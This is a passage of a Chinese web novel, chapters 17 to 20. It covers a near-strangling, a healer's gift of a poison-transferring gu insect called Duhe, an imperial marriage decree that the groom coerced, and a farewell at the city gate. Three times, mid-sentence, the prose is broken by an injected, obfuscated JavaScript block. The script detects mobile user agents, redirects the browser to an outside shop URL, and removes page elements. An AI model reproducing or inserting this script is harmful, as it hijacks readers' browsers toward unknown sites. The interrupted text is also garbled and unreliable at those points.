脸小了整整两圈,五官也都是缩小版的,唯有颊边多了些肉,唇红齿白,眉眼间满是稚气,像是从年画里走出来的漂亮小人儿。 记忆瞬间被触发,一声声「阿兄」在脑海里回响。 起初是开心的、撒娇的,后来变成了痛苦的、绝望的,带着哭腔,最后的最后,那声阿兄和那张脸不约而同地变得冷漠、尖锐,没有丝毫感情…… 直到南流景受惊似的往后退了一步,萧陵光才猛地回神,站定,面上呈现出一种冷酷而可怖的平静。 他居高临下地俯视着眼前人,从她清冷病弱的面容上一点点窥视着幼时痕迹。 纵使是五官长开了,气质和性情都变了,可这幅神态、这双眉眼,细看却与从前没有任何差别。他竟没有第一眼就将人认出来,甚至在听见她梦呓唤阿兄时,也迟钝得没有丝毫察觉。 奚家南院的药奴,与建都世家的女郎…… 任谁也不会将二人联想到一处。 萧陵光的眼神叫南流景心惊。 那眼神里的情感复杂而浓烈,她只能感受到厌憎,可除了厌憎,明显还有别的,不止一种的情感混杂在一起,叫她难以分辨。 她不明白,此人为何会一夜之间对自己恨之入骨。今日哪怕是裴流玉在这儿,恐怕都不会露出像这样的眼神,可为什么是萧陵光? 南流景百思不得其解。 可很快,她也顾不上思量了。 颈间一重,萧陵光的手掌蓦地掐住了她,将她往身前一带。 南流景脚下踉跄,靠近的一瞬间瞳孔骤缩,僵直了身子。 扼在颈间的手掌往上移,虎口卡住她的下颌,强行将她的脸往上抬起。那手掌足够宽大,将她的颈子和小半张脸都拢在掌心,稍一使劲,她便涨红了脸,喘不过气来。 昏昏沉沉中,她突然听见萧陵光答了一声“是”。 ——我就这么该死吗? ——是。 南流景陡然一惊,涣散的目光霎时汇拢,直直撞进萧陵光的眼里。 那双眼眸里覆着一层岌岌可危的薄冰,瞳孔伸出蕴蓄着叫人心惊的狠戾和怨愤,在理智的冰面下压抑着,翻滚着…… “你是该死。” 萧陵光盯着她,说话时脸绷得很紧,眼下的伤口竟又裂开,沁出源源不断的血珠,在面颊上连成一道血泪。 他浑然不觉,一字一顿,“在我这里,背恩负义者,当诛。” 17.渡厄 脖颈被扼住,呼吸被掌控,生杀予夺皆在一念之间。 南流景上一次直面这种情形,还是在奚家的宴席上,在裴松筠的手掌下。 裴松筠固然心狠手辣,可他道貌岸然,应当很少亲自动手杀人,所以掐她时才会经验不足、力道不足,叫她有了死里逃生的机会。 但这一次,她不抱任何侥幸。 与裴松筠不同,萧陵光是尸山血海里走出来的杀神,身上尽是桀骜杀伐之气,而那只布满厚茧的手掌坚实如铁钳,指节间好似蕴藏着开山裂石的力量。 她毫不怀疑,这只手只要用上三成力,便足以扼杀她的生机,若是用上十成,多半连她的喉管都能捏碎。甚至无需用力,那从掌心散发出的炽烫热意源源不断上涌,好像都能堵住她的口鼻,将她活活闷死…… 可下一刻,那只手掌猝然松开。 “别让我再看见你。” 萧陵光神色冰冷地越过她,步出营帐。 - “今日有劳江娘子了。” 百柳营外,龙骧军的几个将士客客气气地将江自流送了出来,“我等旧疾缠身,连随军的大夫都无计可施,没想到只是被江娘子施了几针,竟是爽利不少。江娘子当真是神医妙手!” 江自流心里一咯噔,面上却不显,“昔年我与师父走南闯北,曾见过这种病症。今日不过是照着师父的手法施针,举手之劳。” 几人又是千恩万谢,还一路目送着江自流上车。 江自流一掀开车帘,就见南流景低着头坐在里头,手里拿着一把弩。 “你怎么……” 她又惊讶又心虚,才刚说出三个字。 南流景蓦地抬手,将弩对准了她,手指在悬刀上用力一扣。 “!” 江自流脑子里轰然一响,身体下意识闪躲,整个人几乎是从车上滚下去,重重地砸在了地上。 好一会儿,她才眼冒金星、魂不附体从地上爬起来,“南流景你发什么疯?!” 一只手探出车窗,将那把弩丢了出来——弩上空无一箭,就算扣一百次悬刀,也不会要人性命。 “……” 江自流更加觉得被戏耍,眉心蹙成死结,她沉着脸上了车,在一旁坐下,“这玩笑是不是太过分了。” “空弩而已,过分吗?” 南流景静静地看向她,“方才在猎场里,总共有六支箭,擦着我的脑袋射过去。” 江自流一愣。 “江自流,你究竟是我的大夫,还是我的软肋?” 南流景嗓音轻柔,口吻却隐隐透着一丝乖戾,“我这条贱命还能等得到你解毒吗?是不是在那之前,旁人就要以你作陷阱,将我诱杀了?” 江自流听得一头雾水。她根本不知道发生了什么,可见南流景如此模样,到底还是压下了怒气,率先道歉。 “瞒着你跑出来是我不对,但南城那几个病人我实在是放心不下。原本我替他们留了药方就要离开的,可龙骧军的人忽然来了药铺求医……” 话音一顿,她突然意识到了什么,不可思议地,“你的意思是,他们把我骗来百柳营,是为了诱杀你?!” “一个时辰前,萧陵光将这张字条钉在了南府后门。” 南流景将字条甩给江自流。 “……萧陵光要杀你。” 江自流更乱了,喃喃自语道,“他之前不是还三番两次地救你吗?怎么可能突然要杀你?要动手也该是裴流玉……” 她及时地停住,看了南流景一眼。 马车已经朝回城的方向驶动,车身颠簸,映在南流景眉眼间的阴影也微微颤动。 “你是不是也觉得,我天性凉薄、背恩负义,是个该死之人?” 她眼睫低垂,轻声问道。 江自流矢口否认,“我从未觉得你该死。” “那就是觉得我天性凉薄、背恩负义。” “……” “如果有选择,谁想做一个这样的坏人?” 南流景靠回车壁,缓缓闭上了眼,神色有些木然,“我有时候在想,究竟是我命不好,投错了胎,不得不变坏,还是我原本就是个坏种,所以才生而为奴,遭这一世的报应……” 江自流哑然失语。 “你说世上这么多人,为何有人生来尊贵、受万人敬仰,有人生来富庶、坐拥金山银山,有人生来父母双全,有人生来身子康健……可还有人生来卑贱,生来孤苦,生来就任人鱼肉,毫无还手之力?” “我不妄想生做贺兰映,也不奢求生做南家真正的女儿,哪怕是生在穷乡僻壤,可双亲俱在,自己平平安安、无病无灾,那也很好了……” “如此,我便不必受病痛的折磨,无需日夜提心吊胆,生怕自己哪天毒发身亡,我不用亏欠裴流玉,不必屈从裴松筠,更不会招惹一群动辄发狂、杀人如儿戏的疯子。” 这些话一字一句都带着怨恨和不平,可偏偏南流景说出口时,却没什么波澜起伏,好似一潭死水。 反倒是江自流,不知从南流景说到哪句开始,情绪便有些不受控制。她攥紧衣袖,露出难过的表情,整个人坐立难安,肩膀也微微颤抖,好似比南流景这个苦主还要痛苦。 “有些事为时已晚,有些事我爱莫能助……” 江自流突兀地开口,“但唯有一样,我可以保证。我会送你一个平字。” 南流景转了转眼,视线落在她身上,“平?” “阴阳平衡、脉象调和,乃平人。平人者,不病也……” 江自流嘴上做着许诺,头却低着,不愿看她的眼睛,“南流景,我一定会让你做回无病无痛,身子康健的平常人。” 南流景似有动容。 半晌,却还是扯了扯唇角,笑容淡淡的,“这话还是等寻到了玉髓草再说吧。” 江自流抬起眼,像是下定了某种决心。 “除了玉髓草,其实还有一种法子。” 朝云院。 南流景屏退了所有人,包括伏妪,然后紧闭了屋门。 江自流拿出了一个漆黑的、纹路十分古怪的圆形小盅,迟疑再三,还是朝南流景递过来,“这就是我说的,最后一种法子。” 南流景一把接过,刚要打开盅盖,却被江自流扣住手腕。 “别动。” 江自流郑重其事地,“这里面是南疆蛊虫,不到万不得已,别打开它。” 南流景眼睫微微一颤,“蛊……虫?” “是。因为一直找不到玉髓草,我就在想,你体内的毒就好比已经绞缠在一起的线团,如果不能将他们分开、逐个击破,那有没有一种办法,能将这个毒线团连皮带骨除去……所以上次离京,我去了一趟南疆。” “这蛊虫能解百毒?” “不能。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061751|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 见南流景面露失望,江自流又道,“这蛊虫虽不能解毒,却以毒为食。若将它种在体内,不出一年,便能将你体内的毒怡一点点蚕食干净。” 南流景眼眸倏然一亮,直直地看向江自流。 “你高兴什么?这蛊虫吃完毒,就变成了毒虫。不过是包了个虫壳在你体内待着。毒发的时候,你还是会死。” “再将这蛊虫逐出去不就好了?” “说得轻巧。请神容易送神难,想让这蛊虫从你体内离开,只能……” 江自流欲言又止。 在南流景的不断催促下,她才又拿出一个蛊盅,“只能用蛊饵诱引,转移到另一个人身上。所以此蛊名为,渡厄。” 渡厄,渡厄…… 所谓的渡化苦厄,却是将苦厄由此及彼,移花接木到另一个人身上…… 南流景的目光从两个蛊盅上移开,再看向江自流时,神色有些微妙,“这就是你一直藏着掖着,不肯告诉我的原因?你是怕我太惜命了,一拿到这蛊虫就随便就找个替死鬼渡厄……” “这法子治标不治本,而且太过阴毒……我不想让你用。” 江自流低声道,“玉髓草并非无处可寻,再等一等,总会有好消息的,你莫要着急。” 南流景伸出手,去接蛊饵。 江自流却往回收了一下手。 南流景没什么滋味地笑了,笑着笑着,眼眶竟是红了,眼底也有一闪而过的水光,“就这么怕我害人?既如此,今日何苦告诉我?何不将这蛊虫蛊饵一直藏着。等我死了,也就没人会用了。” “我说了我不会让你死。” 江自流咬咬牙,将蛊饵一把塞进南流景手里,“今日拿出来,就是为了叫你安心。还有,往后我总有离开建都的时候,如今也没有裴流玉护着你了,若再遇上什么人对你下毒手……你可以用渡厄自保。” “自保?” “这蛊饵也是小虫,一直以渡厄的蛊血喂养。身上种了蛊饵的人,与渡厄同生共死……” 江自流叹了口气,“南流景,真到了那一刻,若谁非要你的性命,我许你以眼还眼、以牙还牙。” 江自流离开后,南流景又盯着那两个蛊盅看了许久。 江自流果然是个菩萨心肠。 因为太纯善了,才会见到世间疾苦就心生恻隐,想救每个能救的人。 因为太纯善了,所以嫌“渡厄”阴毒,不敢轻易交到她手里,生怕她以一己之私害了无辜的性命。 也正是因为太纯善了,才会被她告哀乞怜的三言两语、酸楚的几滴眼泪,就套出了最后的筹码…… 南流景慢慢伸出手。 指腹在蛊盅上摩挲着,生出几分热意。 替死鬼有何难寻? 不寻无辜之人,不寻康健之人,难道还不能寻罪大恶极之人,寻病弱将死之人? 为何她不能将主动权掌握在自己手里,而非要去等一个生死关头? 这两年里,江自流一直在叫她“等”。她日日等,夜夜等,可每次等她回京,等来的却都是梦幻泡影。可若是种下渡厄,这种希望反复落空的日子也就算到头了…… 南流景的手指在蛊盅上搭了许久,才站起身,将那两个蛊盅小心翼翼地藏进了衣柜暗格中。 她答应了江自流。 再等等…… 再等最后一次。 18.赐婚 从百柳营回来,南流景难得过了一段安生清静的日子。 在书斋说了那番话后,裴流玉应当是真的对她死了心。所以哪怕是退回了信物,裴氏那边也一直无声无息,唯有裴松筠差人来过一次朝云院,向江自流打听了与玉髓草有关的消息,可见对她与裴流玉的了断是满意的。 如此一来,连贺兰映也不再将她视为眼中钉肉中刺,不再三天两头地邀她去赴宴受辱。 至于萧陵光,南流景死里逃生后做了几晚上的噩梦。不过想起萧陵光最后那句“别再让我看见你”,她觉得不像是要追杀她的意思。所以只要躲着这位祖宗,应当就是安全的。 于是南流景躲在朝云院里,大门不出、二门不迈,一心调养自己的身子,甚至还兴致勃勃地跟着江自流练起了五禽戏。 是日,江自流带着朝云院众人打完了一遍五禽戏,突然对南流景说道,“我得走了。” 南流景脸上难得多了些血色,瞧着精神十足。她一边擦汗一边问,“去哪儿?” “自然是出去行医啊。” 江自流答道,“这次回建都待得太久。现在南城已经没有什么要紧的病患,你气色也好了不少,我还待在这儿做什么。” 南流景皱了皱眉,“就不能等找到了玉髓草,替我解了毒再走?” “我是江湖郎中,不是你一个人的大夫。多在建都待一日,起码少救一条性命,你莫要拦着我积德行善。” 顿了顿,她又补充道,“我在外还会继续留意玉髓草,若是其他人先替你寻到了,你传书给我便是。不论多远,我定先回来给你解毒。” 大多数时候,江自流都是个极有原则的人。 南流景能哄得她将“渡厄”提前拿出来已是不易,也就没再痴心妄想将她继续留在建都。 “要走也不急着今日吧,今日可是春社。” 伏妪从一旁经过,喜笑颜开地招呼婢女们将食材从厨房里通通搬了出来,然后问南流景和江自流要不要一起做社饭。 春社日是祭祀社神,无酒不欢的好日子,江自流原本也没打算今日走,听伏妪这么一说,便顺势应下。 院中拼着长桌,摆放着备好的食材。所有人围在桌边,在伏妪的差遣下各司其职,一边忙碌着手上的活,一边其乐融融地闲聊,期间还有只不听话的贼猫,跳上桌偷了一块肉就跑,引得众人一阵笑骂。 “等用过社饭,女郎可想出门去看赛神会?” 伏妪问道。 南流景刚想摇头,就见其他婢女们都连连点头,然后期待地看向她。 她思忖片刻,想着她要躲的人今日多半都去祭祀了,便答应了伏妪,说要带上朝云院的所有人一起去。 江自流插了一句,“赛神会?建都以前没有吧?” “前些年世道乱,不好办这些。如今太平了,什么赛神会、社戏,便都有了。莫说民间,就连皇帝也越来越重视春社祭祀,今年可是带着文武百官出宫亲祭……” “奴婢听说,这次祭祀是由裴三郎主持。而为祭祀作画的,是裴七郎!外头都说,这么多年还是第一次见裴氏双壁一起出现在这种场合呢。” 一婢女没看见伏妪的眼色,待察觉到不妥时,话却是已经脱口而出了。 时隔数日,朝云院终于又一次提起“裴七郎”三个字。 院中静了一瞬,所有人的目光齐刷刷看向了南流景。 见她低垂着眼,不知是听到了还没听到,伏妪咳了两声,想要转移话题,“今年赛神会定是热闹……” “这种祭祀,为何是他去作画?” 南流景突然问道,“不是有宫廷画师吗?” 伏妪等人面面相觑,显然对这件事也只是道听途说,并不知晓内情。 倒是江自流漫不经心地说了一句,“他兄长是主持祭祀的司徒,想要他顶替宫廷画师还不是易如反掌?若在皇帝和文武百官面前露上一手惊人画技,也算是光耀门楣了。” 裴松筠的手笔么? 南流景不这么觉得。 于裴氏而言,裴流玉承载的期许其实和世家大族的女郎并无差别。不求他建功立业,只求他博得几分才名,而后用一份尚公主的诏书,为家族筑牢根基,添翼助力…… 心中虽如此想,南流景却什么都没说,也没再继续追问。祭祀与裴流玉的事便这么揭了过去。 待用完社饭后,朝云院的众人就驾着车一起出门看赛神会了。 街上熙熙攘攘,都是出来看赛神会的。婢女们兴致冲冲地挤进了人堆里,南流景不愿往前面挤,便寻了个视野好的酒楼,同江自流和伏妪坐在窗口看热闹。 今日是春社,人人都在饮酒,酒楼里四处都飘散着松醪春的酒香。 江自流要了一小坛,和伏妪分着饮。 南流景闻着味就馋得不行,眼巴巴地望着,可伏妪谨遵医嘱,一滴酒都不让她沾。最后还是江自流被盯得烦了,勉强松了口,“这松醪春酒性不烈,少喝点应是不碍事。” 江自流都放了话,伏妪便彻底拦不住南流景了。 南流景捧着一小碗松醪春,终于和周围的人一样,感受到了春社日的快乐。 大概是她饮到第三碗的时候,忽然有个南府的下人急匆匆地冲上酒楼,扫视一圈,看见窗边的她们时,立刻跑了过来,“女郎!” 桌边三人顿时都看向他。 “都什么时候了,女郎还在这儿饮酒……速速随奴回府吧!” 下人一边擦着汗,一边催促道。 南流景饮了酒,反应有些慢,还是伏妪率先起身,紧张地问道,“出什么事了?” 那下人支吾了几声,“女郎回去就知道了!总之是喜事、大喜事,可不能再耽搁了!” 三人一头雾水地离开了酒楼,上了马车后一路快马加鞭,匆匆回到了南府。 一走进正堂,南流景就看见南氏的人都聚在里头。南氏夫妇正围着什么人,殷勤地端茶送水。 “老爷,夫人,女郎回来了!” 下人通传了一声。 南流景一脸懵然地走进正堂,尚未意识到发生了什么,就被迎上来的南夫人一把拉了过去,然后同他们夫妇二人一齐跪在了地上。 下一刻,头顶传来一道刻意拉长,略显尖刻的声音。 “奉天承运皇帝,诏曰,今观裴氏一族,世代簪缨、诗礼传家,而南氏闺秀,蕙质兰心,素有芳名。特赐南氏五女流景、裴氏七郎流玉结为百年之好、秦晋之盟……” 南流景耳畔嗡了一声,剩下的话一个字也没听清。 许是松醪春的后劲翻了上来,醉意促使下,她感觉整个人都轻飘飘的,仿佛魂都飞到九霄云外。她甚至不知道自己是怎么接的旨,又是怎么在南氏众人的庆贺声里回的朝云院。 而等待着她的不止是突如其来的一道赐婚圣旨,还有此刻等在朝云院里的人—— 多半是刚从祭礼上赶过来,裴流玉今日穿得比任何时候都更庄重富丽。一袭孔雀蓝织金云纹锦袍,腰扣玉带,发束金冠,耳后垂下两条珠链,与未束的发丝绞缠在一起,金光熠熠、贵不可言。 他背对着院门,站在廊檐下,面前的窗台上蹲坐着刚睡醒的魍魉。魍魉被他发间晃动的珠链吸引,伸出前爪,一下一下地捞着,他也不阻止,任由它扑抓。 一看见他,伏妪便拉着江自流退了出去,只留下南流景一人在院中。 南流景的脑子里仍是一片混沌,她甚至怀疑自己是不是已经饮酒饮多了,生出了幻觉,否则怎么会有这么一道荒谬的赐婚圣旨? 率先看见南流景的是魍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065519|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魉,他抛下了好玩的珠链,纵身跳下窗台,直接朝南流景飞奔过来。 裴流玉也随之转身,一双眼眸对上她时骤然明亮,如星子落湖。 “回来了?今年的赛神会好看么?” 他面上带着笑,眉目轻轻飞扬,与从前无数次出现在朝云院里时一样,意气风发、温情脉脉。 就好像南流景从未去过那座湖心的书斋,他们二人之间也从未生过嫌隙。 “……” 南流景慢吞吞地从地上抱起魍魉,再直起身时,裴流玉已经走到了她跟前。 “你饮酒了?” 他垂眼,目光落在她微微泛红的面颊上,然后就嗅到了一股淡淡的酒气,微微一惊,“江郎中不是嘱咐过,你不能饮酒么?可有起红疹?要不要叫大夫?” 南流景没吭声,定定地望着他,眼神里有些疑惑,又有些茫然。 那日从书斋离开后,她也曾想过,若有朝一日和裴流玉再见,会是什么难堪的情形。 她想过他会憎厌自己,会漠视自己,甚至想过他会不择手段地报复自己,可唯独没想过,他会讨来一道赐婚圣旨,然后来到朝云院里,笑得一如既往。 “怎么了,在想什么?” 见她一直不说话,裴流玉问道。 南流景迟疑了一会儿,如实道,“在想皇帝为什么突然赐婚,在想你为什么会站在这里,在想……我是不是饮多了酒,在做梦。” “如果是梦,那是好梦还是噩梦?” “……” 南流景不说话了。 见她转了转眼,似乎真的在思考这个问题,裴流玉屈指在她额头上轻轻弹了一下,脸上的笑意更甚,“才不是梦。” 想要拿到这道赐婚圣旨,要先在春社日之前,让钦定作画的几个宫廷画师都因为各种缘故不能出席; 要在皇帝寻人顶替时,让笼络好的裴氏亲族在朝堂上举荐自己; 要说服皇帝,让身为司徒、主持祭礼的兄长也不得抗命; 最后还要作出一幅笔精墨妙的《社日亲祭图》,让皇帝龙心大悦,下令重赏…… “为了求得这道圣旨,你都不知我费了多少心思、低声下气求了多少人……好在从今往后,不论是贺兰映,还是兄长,都无法阻挠你我的婚事……” 裴流玉唇角一撇,装得有些委屈,可眉宇间的扬扬意气却是掩都掩不住,甚至还有几分夸耀的意味。 南流景望着他,醉意减了几分。可眼前的一切却好似蒙上了层薄雾,变得十分不真实。 “……为什么?” 她忍不住问道。 “为什么……” 裴流玉将这三个字复述了一遍,然后皱了皱眉,似乎是有些困惑的模样,“妱妱,你说为什么呢?一个男子处心积虑求娶一个女郎,还能是因为什么?” 南流景被他问得无言了片刻,才又道,“可那日在你兄长的书斋,我已经将一切都说得很清楚了。你明明知道,明明知道我骗了你……” 她的声音越来越低。 “那日你说你骗了我四件事。” 裴流玉沉吟片刻,缓缓道,“有两件事,我根本不在乎。我不在乎你有没有失忆,不在乎你是什么出身,这些你都可以向我坦白,但如果隐瞒会让你更有安全感,我也不会怪你撒谎。” “……” “但你中毒需要玉髓草,这种性命攸关的大事,往后不许再瞒着我。至于最后一件……” 那日坦白的四件事,只剩下最后一件,也是最无可挽回的一句——「我不愿意嫁给你。」 南流景低下头,抱着魍魉的手臂略微收紧了些。 很快,头顶传来裴流玉云淡风轻的声音。 “那句话,其实是最无关紧要的。不是吗?” 19.送行 南流景一愣,终于抬起头,对上裴流玉的视线。 裴流玉一眨不眨地凝视着她,眼眸乌沉沉如点漆,脸上终于不再是笑吟吟的。 性情温和、俊逸率真的裴家小郎君,唇角紧抿、不带一丝弧度时,竟也有几分摄人。 “妱妱。” 他忽地抬起手,沾染着墨香的手掌在她颊边贴了贴,轻言慢语,“究竟是什么给了你错觉,只要一句不愿意,就能叫我放手呢?” 南流景僵住,脸颊上因酒气产生的那点热意逐渐消退。 这种话,实在不像是裴七郎会说出口的…… 她有些愕然地睁大了眼,想要将裴流玉的神情看得更清楚,可廊檐却在那张白玉无瑕的脸上投落了大片阴影,叫她辨识不清。 下一刻,他又开口了。 那声音平缓,却带着一丝置身事外的强硬和清醒。 “若我真是什么贤人君子,便不会叫你发现那些药汤究竟有多名贵,也不会在你想要悄悄离开玄圃时,把你的账簿翻出来撕碎,更不会在明知道你无力报恩的时候,趁人之危,说出什么以身相许的话……” “……” “可惜,我只是道貌岸然的伪君子。” 裴流玉的手往她耳后探了些许,不容拒绝地掌住她的半张脸,然后低身靠近,“妱妱,我想要的,你愿意给当然是最好,可你若不情愿,我也会自己讨。所以那句不愿意,若非要说有什么用处……” 二人额头相抵,他声音又柔和了下来,“也就是叫我有些伤心。” 那张俊容近在咫尺,既熟悉,又陌生。 南流景突然发觉,自己好像从未真的看清过裴流玉。 这种突如其来的陌生感,叫她有些毛骨悚然。恍惚间,她的手指无意识地揪了几下魍魉的毛。 魍魉吃痛,恼火地回头,张口就在她手掌上咬了一下。 “嘶……” 南流景倏然回神,抱着魍魉的手一松,魍魉顿时从她怀里跌了出去。 她借着去追魍魉的动作,顺势从裴流玉的掌控中挣脱开,往后连退了几步。 魍魉一头扎到了台阶下的花盆后头,南流景大可放任它不管,可她本能地不想面对此刻的裴流玉,于是只能近乎逃避地蹲下身,轻声哄花盆后的魍魉出来。 裴流玉悬停在空中的手垂落,目光落在南流景手上,见那白皙如玉的手背上连个牙印都没有。 他笑了一声,也不知是在笑谁,“你把它弄疼了,它却连咬你一口都舍不得。” 南流景背对着他,身形一僵。 魍魉很轻易被哄好了,又从花盆后钻出来,发出撒娇的呼噜声,主动将脑袋往她手掌心里蹭。 裴流玉绕到了她身边,也蹲下身,“我也舍不得。” 那张清逸的俊容终于脱离了廊檐下的阴影,眼眸也变得澄澈,敛尽了方才外泄的锋芒。 “我之前说过,兄长答应你的事,我也一定会做到。所以玉髓草和江自流的事,你都不用担心。” 说着,裴流玉侧头看着她,掀唇一笑,笑容又如春花灿灿,“现在,就当这些事都没有发生过,我们好好筹备婚事,和兄长没回来之前一样,好吗?” “……” 南流景心口砰砰直跳,神色复杂地看了他一眼。 脚边的魍魉撒娇撒够了,竖着尾巴去追小飞虫了,南流景仍蹲在原地,手垂在裙摆边。裴流玉试探的伸手过去,手指轻轻碰了碰她的手背。 见没有被躲开,裴流玉立刻勾住她的手指,一点点摸索着拢住了她整只手。 斑驳的树影下,二人并肩蹲在石阶边,手拉着手,好似没长大的孩童。总是志气昂昂的少年郎偏着头,小心翼翼打量心上人的神情变化,不肯放过蛛丝马迹。 二人相视片刻,裴流玉突然认真地问道,“所以会恨我吗?” 南流景摇头。 即便现在的心情难以用言语形容,可她也很确信,这里面没有恨意的存在。 裴流玉牵着她的手晃了晃,声音隐隐有些雀跃,“我都如此逼迫你了,你却不恨我。那是不是意味着,你对我,至少还有那么一些情意?” 南流景盯着他看了许久,没有承认,也没有否认。 良久,她才叹了口气,仰头看向从枝叶间落下来的日光。 “七郎,不论是从前,还是现在,我都不会因为你逼我成婚而恨你。” “可你身边于我,就如刀山火海、龙潭虎穴,若你强行将我卷入这样危险的境地,却又不能护我周全……” “我才会真的恨你。” - 送走裴流玉后,南流景心绪不宁,脑子里纷乱如麻,任凭伏妪问什么都不回答,只一个劲地摇头,吓得伏妪赶紧叫来了江自流。 “她啊,醉了。” 江自流连脉都没把,只是看了她一眼,就得出了答案,“都叫你少喝些少喝些。” 南流景仍是摇头,然后浑浑噩噩地起身,回到床榻上躺下。几乎是头一沾到枕头,她就闭上眼睡了过去。 待醒来时,天色已昏。 南流景的酒劲已经过去,脑袋总算没有了发热发胀的晕眩感,乱糟糟的思绪也在睡梦中被整理捋顺。她一把掀开薄被,匆匆起身,推门而出。 因着春社这样的好日子,又有赐婚这样的大喜事,朝云院内喜气洋洋,看完赛神会回来的婢女们也聚在一起欢声笑语。 “女郎醒了!” 见南流景出来,道贺声又是一片。 南流景却没心思同她们说这些,径直走向厢房,敲开了江自流的房门,伏妪端了碗煮好的醒酒汤一路追过来,“女郎,醒酒汤。” 南流景将醒酒汤一饮而尽,只觉得灵台又清明了不少。她将空碗递回给伏妪,然后转向已经打算睡下的江自流,“城门还未下钥,你现在就走。” 江自流:“?” “你不是要离开建都么?要么现在收拾行李,要么就别走了。” 南流景言简意赅地。 她倒不是不信任裴流玉,只是从今日赐婚这件事来看,她才意识到万事皆有变数,更何况她身边这些人,似乎都不能用常理揣度…… 江自流一直留在建都,留在贺兰映的眼皮子底下,终究是危险,还是应该趁早离开。至少在建都以外,她有自己的门路,贺兰映也没那么容易下手。 尽管有些怨气,但江自流还是转头还是收拾起自己的药箱和行装。 “对了……” 忽地想起什么,江自流扭头,朝南流景摊开手,“把渡厄还给我。” “凭什么?!” “我当时是担心没人护着你,才把渡厄交给你保命。如今裴流玉都与你重修旧好了,还有谁能伤你?” 南流景自然不肯,可她越不肯,江自流就越疑神疑鬼。 “你是不是想趁我一走,就把这渡厄用上?南流景,这渡厄没有你想得那么简单,种下渡厄的人和种下蛊饵的人,会牵连得极深,用蛊饵诱引渡厄的法子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070201|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我甚至还没告诉你……” “我真的没打算用。” 南流景实在是被她念叨得烦了,眼睛一转,“这样,我留下渡厄,但把蛊饵还给你,如何?” 蛊饵交出来,至少没有祸害其他人的可能了。 江自流想了想,妥协地勾了勾手,“可以,拿来。” 南流景折回自己的屋子,取来了装着蛊饵的蛊盅,塞给江自流,“这样总可以了?” 趁江自流收拾行李的功夫,伏妪已经紧赶慢赶地叫人备了车马,送她出城。 南流景亲自将她送到了南府后门。 临上车时,江自流转过来,有些不自在地握了一下她的手,“放心,都会好起来的。” “……我知道。” 目送马车消失在夜色中,南流景舒了口气,转身回了朝云院。进屋后,她又拉开了衣柜里的暗格,摆在里头的仍然是两个蛊盅,一个装着渡厄,一个装着蛊饵。 给江自流的空蛊盅,是她之前悄悄叫人仿做的。原本只是有备无患,没想到真的排上了用场。 南流景有些心虚地关上暗格。 也不知江自流会不会发现,何时会发现…… - 因为一道突如其来的赐婚圣旨,南氏和裴氏搁置的议亲终于又重新提上了日程。 到底是皇帝赐婚,这次纳征、请期比南流景预想得要顺利得多。而最让她没想到的是,从圣旨下达南府,到婚期被定下,裴松筠竟然没有出现过,贺兰映也没有找过她的麻烦…… 可好景不长,成婚前,裴流玉那里还是生出了变故—— 他要离开建都,为皇帝绘制一幅岫山图。 起因是太后的寿辰将至,她老人家对岫山景致一直心驰神往。皇帝出于孝心,想以岫山图贺寿。这种事原本落不到裴流玉头上,毕竟他不是宫廷画师、也不食皇家俸禄,从来都是无拘无束、孤云野鹤的存在。 可绘制了《社日亲祭图》后,那层与世隔绝的屏障就被他亲手打破了。 所以皇帝会突然想起他,会觉得派他去岫山作画也无不可,更何况自己才刚刚成全了他的婚事。 此事与赐婚一样来得突然。南流景收到裴流玉的传信时,是他启程去岫山的前夜。 尽管信上说他会在成婚前回来,让她莫要担心,可这一夜南流景心里忽上忽下,辗转反侧。直到天快要亮时,她才下定决心起身,然后匆促地叫人套了马车,带着伏妪直奔城门口。 晨光熹微,城门外萦着一片浅淡的雾气。 地上的草叶洇着湿漉漉的翠色,马蹄阵阵,带着吱吱呀呀驶过的车轮,将叶片上晶莹欲滴的露水沿着叶脉震落,碎进四周的雾气里。 “女郎,奴好像看见裴七郎君了……” 伏妪一直掀着车帘朝外看,看见远处的车马时,第一时间唤了南流景。 南流景身子往前一倾,也看向车帘外。 只看了一眼,她神色微变,“等等,停下!” 马车戛然停住,离他们还有三十丈左右的开阔地,是声势不小的送行阵仗。停在那儿的有好几辆马车,旁边还围着乌压压一群仆从,有的牵着马,有的捧着马鞭,有的抱着披风,全都簇拥着即将离京的裴流玉。 与此同时,还有几道熟悉的、清贵的身影立在人群中,格外出挑:一人红裙灼灼,一人白衣宽袍,还有一个胡服携刀。 南流景的心骤然一沉,攥紧车帘。 裴松筠、贺兰映和萧陵光竟然都在…… 20.神龛 “女郎,我们不过去么?” 伏妪不明所以地看她。 南流景有些为难地松开车帘,坐回车内,“……算了,回去吧。” 